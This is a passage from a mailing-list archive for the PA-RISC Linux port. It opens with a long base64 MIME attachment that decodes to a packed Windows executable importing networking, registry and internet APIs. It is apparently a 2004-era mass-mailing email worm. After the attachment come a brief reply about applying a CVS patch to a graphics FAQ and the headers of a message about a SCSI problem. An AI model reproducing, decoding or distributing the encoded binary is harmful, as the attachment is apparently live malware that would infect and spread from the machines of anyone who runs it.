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
BI2EMBC1AQAB81CDxwj/lpy1AQCVigdHCMB03In5eQcPtwdHUEe5V0jyrlX/lqC1AQAJwHQH
iQODwwTr2P+WpLUBAGHpx4j+/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIA
AwAAACAAAIAOAAAAkAAAgAAAAAAAAAAAAAAAAAAAAgABAAAAQAAAgAIAAABoAACAAAAAAAAA
AAAAAAAAAAABAAcEAABYAAAA1MABAOgCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAHBAAA
gAAAAMDDAQAoAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAZQAAAKgAAIAAAAAAAAAAAAAA
AAAAAAEABwQAAMAAAADsxAEAIgAAAAAAAAAAAAAA0JABACgAAAAgAAAAQAAAAAEABAAAAAAA
gAIAAAAAAAAAAAAAAAAAAAAAAADM//8AaFdYAAAAAACAgIAA////AMDAwAD/AAAAAP//AL8A
AAAAAP8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIiESIiIiIiIiIiIiIiIiIiIhNVVVVVVV
VVVVVVUlIiIiI0REREREREREREREUlIiIiNERERERERVVERFVVJSIiIjRIiIiERJmUREmZRS
UiIiI0RERERERJVERElUUlIiIiNEiIiIiERJVVVZVFJSIiIjRERERERERJmZmVRSUiIiI0SI
iIiIiERJVElUUlIiIiNERERERERERJVJVFJSIiIjRIiIiIiIiERJWVRSUiIiI0RERERERERE
RJlUUlIiIiNEiIiIiIiIiERJRFJSIiIjRERERERERERERERSUiIiI0SIiIiIiIiIiIhEUlIi
IiNERERERERERERERFJSIiIjRIiIiIiIiIiIiERSUiIiI0REREREREREREREUlIiIiNEIiIi
IkSIiIiIRFJSIiIjRDmSREJERERERERSUiIiI0QyIiIiRIiIiIhEUlIiIiNENEJ3ckRERERE
RFJSIiIjRDIid3JEiIiIiERSUiIiI0Q0QndyREREREREUlIiIiNENEJmYkRERERERFJSIiIj
RDRCZmJERERERERSUiIiI0QzMiIiREREREREUlIiIiNERERERERERERERFJSIiIjQkQkQkQk
QkQkQkQyUiIiI0JEJEJEJEJEJEJEMlIiIiIkM0M0M0M0M0M0M0MiIiIiIiIiIiIiIiIiIiIi
IiLgAAAP4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH
4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AA
AAfgAAAH4AAAB+AAAAf4AAAP/////7iTAQAoAAAAEAAAACAAAAABAAQAAAAAAMAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAgAAAgAAAAICAAIAAAACAAIAAgIAAAMDAwACAgIAAAAD/AAD/
AAAA//8A/wAAAP8A/wD//wAA////AAAAAAAAAAAAAHd3d3d3cAAA//+f/59wAAD//3mZn3AA
APRE95+fcAAA////eZ9wAAD0RET3n3AAAP//////cAAA9ERERE9wAAD//////3AAAPRERERP
cAAA//////9wAAD//////3AAAPDw8PDw8AAAD4+Pj4+AAAAAAAAAAAAAwAcAAMADAADAAwAA
wAMAAMADAADAAwAAwAMAAMADAADAAwAAwAMAAMADAADAAwAAwAMAAMADAADABwAA6q8AAOCU
AQAAAAEAAgAgIBAAAQAEAOgCAAABABAQEAABAAQAKAEAAAIAAAAAAAAAAAAAAAAAAADUxQEA
nMUBAAAAAAAAAAAAAAAAAOHFAQCsxQEAAAAAAAAAAAAAAAAA7sUBALTFAQAAAAAAAAAAAAAA
AAD7xQEAvMUBAAAAAAAAAAAAAAAAAAbGAQDExQEAAAAAAAAAAAAAAAAAEsYBAMzFAQAAAAAA
AAAAAAAAAAAAAAAAAAAAABzGAQAqxgEAOsYBAAAAAABIxgEAAAAAAFbGAQAAAAAAaMYBAAAA
AAB0xgEAAAAAAAsAAIAAAAAAS0VSTkVMMzIuRExMAEFEVkFQSTMyLmRsbABpcGhscGFwaS5k
bGwAVVNFUjMyLmRsbABXSU5JTkVULmRsbABXUzJfMzIuZGxsAABMb2FkTGlicmFyeUEAAEdl
dFByb2NBZGRyZXNzAABFeGl0UHJvY2VzcwAAAFJlZ09wZW5LZXlBAAAAR2V0TmV0d29ya1Bh
cmFtcwAAd3NwcmludGZBAAAASW50ZXJuZXRHZXRDb25uZWN0ZWRTdGF0ZQAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==


------=_NextPart_000_0008_00004C5B.00001A0A--




From - Thu Nov 08 21:31:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] B1000/C3000
Date: Fri, 16 Apr 2004 00:01:32 -0600
Lines: 14
Approved: news@gmane.org
Message-ID: <20040416060132.GA20338@colo.lackof.org>
References: <200404142051.i3EKpfQX018442@hiauly1.hia.nrc.ca>
	<Pine.LNX.4.58.0404142155100.8626@sal.ucc.ie>
	<20040414232833.GQ31873@tausq.org>
	<Pine.LNX.4.58.0404150125020.28713@sal.ucc.ie>
	<20040415154811.GA3514@colo.lackof.org>
	<Pine.LNX.4.58.0404152036190.30237@sal.ucc.ie>
	<20040415233515.GB12667@colo.lackof.org>
	<Pine.LNX.4.58.0404160323390.31354@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623380 8387 80.91.229.3 (22 Nov 2014 02:29:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:40 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "M. Grabert" <xam@cs.ucc.ie>
Original-X-From: grundler@lackof.org  Fri Apr 16 00:01:33 2004
Return-Path: <grundler@lackof.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id BA3F44B8F
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 16 Apr 2004 00:01:33 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 0219729805C; Fri, 16 Apr 2004 00:01:33 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 20272-10; Fri, 16 Apr 2004 00:01:32 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 574FF29804B; Fri, 16 Apr 2004 00:01:32 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <Pine.LNX.4.58.0404160323390.31354@sal.ucc.ie>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 16 Apr 2004 06:01:34 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21438

On Fri, Apr 16, 2004 at 03:26:37AM +0100, M. Grabert wrote:
> I attached a 'cvs diff -u src/faq/graphics-howto.x', I hope that's the
> normal way to prepare do a CVS patch.

Yes - Patch applied!

parisc-linux has a "default ~/.cvsrc" in the "build-tools" CVS repository.
	build-tools/cvsrc

This includes the equivalent to "-u".

thanks,
grant


From - Thu Nov 08 21:31:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: JKonrad@linotype.com
Newsgroups: gmane.linux.ports.parisc
Subject: Antwort: Re: [parisc-linux] Problem with SCSI in K-Class
Date: Fri, 16 Apr 2004 09:02:15 +0200
Lines: 58
Approved: news@gmane.org
Message-ID: <OF1931B962.0F35B8A0-ONC1256E78.002649CA@fonts.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623380 8390 80.91.229.3 (22 Nov 2014 02:29:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:40 +0000 (UTC)
Cc: Jens_Konrad/Linotype/DE@linotype.com,
	parisc-linux-bounces@lists.parisc-linux.org,
	parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: JKonrad@linotype.com  Fri Apr 16 01:03:16 2004
Return-Path: <JKonrad@linotype.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.linotype.com (www.typomedia.com [213.61.7.196])
	by dsl2.external.hp.com (Postfix) with ESMTP id B958F486A
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 16 Apr 2004 01:03:15 -0600 (MDT)
Original-Received: by mail.linotype.com (Linotype Mail System, from userid 501)
	id A93A0B4186; Fri, 16 Apr 2004 09:03:14 +0200 (CEST)
Original-Received: from www.fonts.de (bhonet00003.fonts.de [193.103.125.42])
	by mail.linotype.com (Linotype Mail System) with ESMTP
	id E043FB417B; Fri, 16 Apr 2004 09:03:11 +0200 (CEST)
Original-Received: from domino001.fonts.de (webmail.fonts.de [193.103.125.36])
	by www.fonts.de (Linotype Mail System) with ESMTP
	id 7F4AE4C0AB; Fri, 16 Apr 2004 09:03:10 +0200 (CEST)
X-Mailer: Lotus Notes Release 5.0.5  September 22, 2000
X-MIMETrack: Serialize by Router on domino001/Linotype/DE(Release 5.0.12
	|February 13, 2003) at 04/16/2004 09:02:03 AM
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 16 Apr 2004 07:03:16 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21439


Hi,

